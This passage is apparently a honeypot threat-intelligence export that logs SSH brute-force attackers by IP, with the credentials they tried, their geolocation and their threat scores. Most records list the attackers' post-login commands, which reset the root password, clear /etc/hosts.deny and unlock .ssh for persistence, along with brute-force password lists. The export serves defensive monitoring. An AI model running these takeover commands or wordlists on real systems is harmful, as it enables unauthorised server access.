        "Dev30",
        "Frappe17!",
        "Odoo13!",
        "Odoo27",
        "Password12345",
        "QWER1234qwer",
        "Redhat",
        "Root2018!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:dtQQ7ZGkECal\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:49:46.256000+00:00",
        "last_seen_30d": "2026-04-22T18:36:59.553000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 65
      }
    },
    "4.210.186.201": {
      "attack_count": 193,
      "first_seen": "2026-04-04T07:42:24.880Z",
      "last_seen": "2026-04-29T10:41:31.227Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ali",
        "mc",
        "r00t",
        "rocky",
        "root",
        "test",
        "testing123",
        "testowy",
        "user",
        "user05"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123",
        "123456",
        "A@0599343813A@0599343813A@0599343813",
        "AaBbCc123",
        "Admin123",
        "Ali04",
        "P@ssw0rd123",
        "admin!@#123",
        "nimda123",
        "testing123",
        "testowy",
        "user@2023"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ali04\\nOVqYPE048IcC\\nOVqYPE048IcC\\n\"|passwd",
        "echo \"testowy\\n21pEwY2KHTZa\\n21pEwY2KHTZa\\n\"|passwd",
        "echo -e \"Ali04\\nOVqYPE048IcC\\nOVqYPE048IcC\"|passwd|bash",
        "echo -e \"testowy\\n21pEwY2KHTZa\\n21pEwY2KHTZa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:42:24.880000+00:00",
        "last_seen_30d": "2026-04-29T10:42:34.052000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 38
      }
    },
    "191.255.52.36": {
      "attack_count": 187,
      "first_seen": "2026-04-28T09:17:59.712Z",
      "last_seen": "2026-04-28T10:51:06.209Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhoulonghui"
      ],
      "passwords_attempted": [
        "!LipdExqYtW4",
        "1122",
        "H@1234",
        "br00klyn",
        "q1w2e3r4T5",
        "1234@%^",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin.2024",
        "Pef'Dri2Twev",
        "R00t1234",
        "a123!@#",
        "aspnet",
        "baochuangmsa",
        "dell#1234",
        "elastic",
        "qwe@123123",
        "root123",
        "sugon2026",
        "www.10.cn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EwWI7hVFdtG8\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:17:59.712000+00:00",
        "last_seen_30d": "2026-04-28T10:52:11.029000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 66
      }
    },
    "175.101.131.169": {
      "attack_count": 179,
      "first_seen": "2026-04-26T00:32:35.840Z",
      "last_seen": "2026-04-26T02:32:40.728Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "postgres",
        "test",
        "345gs5662d34",
        "admin",
        "backend",
        "deployer",
        "hosting",
        "laura",
        "night",
        "teste",
        "ubuntu",
        "user4"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "1234567",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789**963",
        "A1234568",
        "Aa112211.",
        "Huawei@1234",
        "P@$$w0rd",
        "Password123!",
        "Test03!",
        "Yx123456",
        "ZAQ!2wsx2025$",
        "admin7",
        "asdfghjkl",
        "backend",
        "frappe13!",
        "nPSpP4PBW0",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"asdfghjkl\\nyROTKq9i0GVg\\nyROTKq9i0GVg\\n\"|passwd",
        "echo -e \"asdfghjkl\\nyROTKq9i0GVg\\nyROTKq9i0GVg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Tirupati",
      "asn": 17754,
      "as_org": "Excellmedia",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 248,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T00:32:35.840000+00:00",
        "last_seen_30d": "2026-04-26T02:33:42.150000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 69
      }
    },
    "183.91.186.36": {
      "attack_count": 168,
      "first_seen": "2026-04-02T17:59:05.521Z",
      "last_seen": "2026-04-02T19:14:59.373Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "AA123456@",
        "Aa2025",
        "Bcdef123456",
        "FGHI1234",
        "Ha123456",
        "Pa$$word1234",
        "QQ1234567890",
        "QQ222",
        "Qq1234@",
        "Qweasdzxc123456",
        "Qwer#1234",
        "Qwer1",
        "Stu1234",
        "Tt123",
        "User@2024",
        "huawei_123456",
        "password_123",
        "qwerty@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5mGGcf66cvCz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131127,
      "as_org": "GLOBAL TECHNOLOGY - TELECOMMUNICATIONS CORPORATION",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:59:05.521000+00:00",
        "last_seen_30d": "2026-04-02T19:16:01.137000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "49.247.36.49": {
      "attack_count": 168,
      "first_seen": "2026-04-27T19:56:11.990Z",
      "last_seen": "2026-04-27T20:22:39.831Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!23$QweRAsdF",
        "!qaz@wsx123",
        "123...qwe",
        "1234aaaa",
        "1234asdf",
        "1qaz#ED",
        "2024@LK87Lkeq",
        "3245gs5662d34",
        "345gs5662d34",
        "9&amp;YX[qTE)#568N$D",
        "PA55word123",
        "QWEQWE!@#!@#",
        "ScMy!@20243$%Aj",
        "\\=-][p';l/.,",
        "bulk!@",
        "momocha",
        "p@ypal",
        "pepito",
        "root2@2025",
        "root@999"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:N0gYb0gUe1l3\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:56:11.990000+00:00",
        "last_seen_30d": "2026-04-27T20:23:48.194000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "142.93.73.245": {
      "attack_count": 157,
      "first_seen": "2026-04-10T05:19:08.266Z",
      "last_seen": "2026-04-10T06:18:25.803Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "huang",
        "345gs5662d34",
        "claude",
        "ftptest",
        "git",
        "mailuser",
        "oracle",
        "teamspeak",
        "test01",
        "ubuntu",
        "wp-user"
      ],
      "passwords_attempted": [
        "#Admin123",
        "123456",
        "12345678",
        "1234567Aa",
        "1Password@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@234",
        "Qwe123-",
        "Qwerty123#",
        "Root2021!!",
        "Teamspeak09!",
        "claude!@",
        "ftptest123",
        "git11",
        "mailuser123",
        "test",
        "ubuntu"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nNc3DHAghGxt1\\nNc3DHAghGxt1\\n\"|passwd",
        "echo -e \"123456\\nNc3DHAghGxt1\\nNc3DHAghGxt1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:19:08.266000+00:00",
        "last_seen_30d": "2026-04-10T06:19:33.204000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 157,
        "Suricata": 56
      }
    },
    "112.151.178.49": {
      "attack_count": 138,
      "first_seen": "2026-04-11T21:36:03.238Z",
      "last_seen": "2026-04-11T22:23:26.657Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "lek",
        "md",
        "sftp_user",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "123456789AA",
        "3245gs5662d34",
        "345gs5662d34",
        "55555",
        "Admin#1234",
        "Frappe11",
        "P@$$w0rd1234",
        "P@ss2026",
        "Qazwsx1234!@#",
        "QwertyQwerty12345",
        "Wj123456@",
        "lek",
        "md",
        "qq123456!",
        "root2023!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Owd3M1wA0HEv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T21:36:03.238000+00:00",
        "last_seen_30d": "2026-04-11T22:24:34.609000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 138,
        "Suricata": 40
      }
    },
    "144.48.243.18": {
      "attack_count": 134,
      "first_seen": "2026-04-17T15:18:18.091Z",
      "last_seen": "2026-04-17T16:20:40.488Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "azureuser",
        "deployer",
        "frappe",
        "ftpuser",
        "student",
        "user",
        "www-data"
      ],
      "passwords_attempted": [
        "123",
        "2023@",
        "345gs5662d34",
        "AAqq112233",
        "Admin123456!!",
        "Frappe14!",
        "Password1!",
        "QWE!",
        "d3pl0y3r",
        "qazwsx001!",
        "qwe123",
        "test123",
        "ubuntu!@#",
        "user7",
        "v"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"v\\nNbQqIlGYE8NA\\nNbQqIlGYE8NA\\n\"|passwd",
        "echo -e \"v\\nNbQqIlGYE8NA\\nNbQqIlGYE8NA\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T15:18:18.091000+00:00",
        "last_seen_30d": "2026-04-17T16:21:42.033000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 39
      }
    },
    "181.45.177.46": {
      "attack_count": 89,
      "first_seen": "2026-04-30T03:54:58.720Z",
      "last_seen": "2026-04-30T04:18:44.117Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "test",
        "ubuntu",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "1q2w3e4r5t6y",
        "20232023",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf1234",
        "testpassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"testpassword\\nFsvtPSAXfL5M\\nFsvtPSAXfL5M\\n\"|passwd",
        "echo -e \"testpassword\\nFsvtPSAXfL5M\\nFsvtPSAXfL5M\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:54:58.720000+00:00",
        "last_seen_30d": "2026-04-30T04:19:47.381000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 16
      }
    },
    "131.161.123.7": {
      "attack_count": 71,
      "first_seen": "2026-04-15T08:16:44.310Z",
      "last_seen": "2026-04-28T22:45:11.844Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 264377,
      "as_org": "FV TECNOLOGIA DA INFORMACAO LTDA ME",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21704,
        "days_active_30d": 16,
        "ports_targeted_30d": 1790,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-15T08:16:44.310000+00:00",
        "last_seen_30d": "2026-04-30T23:39:04.679000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11303,
        "Honeytrap": 10183,
        "Cowrie": 71,
        "ConPot": 64,
        "Dionaea": 39,
        "Dicompot": 12,
        "Miniprint": 12,
        "Adbhoney": 8,
        "Redishoneypot": 8,
        "Sentrypeer": 4
      }
    },
    "185.93.89.119": {
      "attack_count": 43,
      "first_seen": "2026-04-10T12:36:38.461Z",
      "last_seen": "2026-04-15T17:51:40.978Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech#",
        "Kelltech#1",
        "Kelltech#1234",
        "Kelltech$123",
        "Kelltech.1234",
        "Kelltech.2026",
        "Kelltech1!",
        "P@ssw0rd@Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T12:36:38.461000+00:00",
        "last_seen_30d": "2026-04-15T17:52:44.112000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 24
      }
    },
    "162.240.169.58": {
      "attack_count": 35,
      "first_seen": "2026-04-11T01:09:51.732Z",
      "last_seen": "2026-04-15T08:52:27.319Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "Kelltech@2025",
        "Kelltech",
        "Kelltech2025",
        "Kelltech2026",
        "kelltech123",
        "kelltech@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T01:09:51.732000+00:00",
        "last_seen_30d": "2026-04-15T08:53:29.716000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "163.7.3.26": {
      "attack_count": 35,
      "first_seen": "2026-04-08T17:02:06.149Z",
      "last_seen": "2026-04-21T07:39:05.659Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "frappe",
        "git",
        "roger",
        "root",
        "sabina",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123!@#qweQWE",
        "Qazwsx01",
        "frappe19!",
        "molina5651",
        "roger",
        "sabina123",
        "t3st1ng!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 28.7,
      "threat_level": "low",
